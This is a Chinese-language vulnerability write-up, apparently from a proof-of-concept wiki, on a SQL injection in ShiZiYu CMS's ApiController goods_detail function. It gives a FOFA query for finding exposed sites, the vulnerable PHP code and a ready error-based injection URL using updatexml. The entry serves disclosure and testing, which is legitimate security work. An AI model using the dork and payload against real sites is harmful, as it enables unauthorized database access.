狮子鱼CMS ApiController.class.php SQL注入漏洞

# 狮子鱼CMS ApiController.class.php SQL注入漏洞

## 漏洞描述

狮子鱼CMS ApiController.class.php 参数过滤存在不严谨，导致SQL注入漏洞

## 漏洞影响

> [!NOTE]
>
> 狮子鱼CMS

## FOFA

> [!NOTE]
>
> “/seller.php?s=/Public/login”

## 漏洞复现

登录页面如下

存在漏洞的文件为 **ApiController.class.php **, 关键位置为

“`php
public function goods_detail()
{
$goods_id = I(‘get.goods_id’);
//gallery =>img_url
//goods goods.goods_desc goods_name group_price market_price sell_count group_number

$sql=”select g.*,gd.description,gd.summary,gd.tag from “.
C(‘DB_PREFIX’).”goods g,”.C(‘DB_PREFIX’).”goods_description gd where g.goods_id=gd.goods_id and g.goods_id=”.$goods_id;

$goods_arr=M()->query($sql);

$qian=array(“\r\n”);
$hou=array(“
“);
$goods_arr[0][‘summary’] = str_replace($qian,$hou,$goods_arr[0][‘summary’]);

$sql=”select image from “.C(‘DB_PREFIX’).”goods_image where goods_id=”.$goods_id;
$goods_image=M()->query($sql);

$gallery = array();
$default_image = ”;
foreach($goods_image as $val)
{
$val[‘img_url’] = str_replace(‘http’,’https’,C(‘SITE_URL’)).’/Uploads/ http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/’.$val[‘image’];

if(empty($default_image))
{
$default_image = str_replace(‘http’,’https’,C(‘SITE_URL’)).resize($val[‘image’], C(‘goods_thumb_width’), C(‘goods_thumb_height’));
}

$gallery[] = array(‘img_url’ => $val[‘img_url’]);
}

$goods = $goods_arr[0];
“`

漏洞测试为

“`
https://xxx.xxx.xx.xxx/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)
“`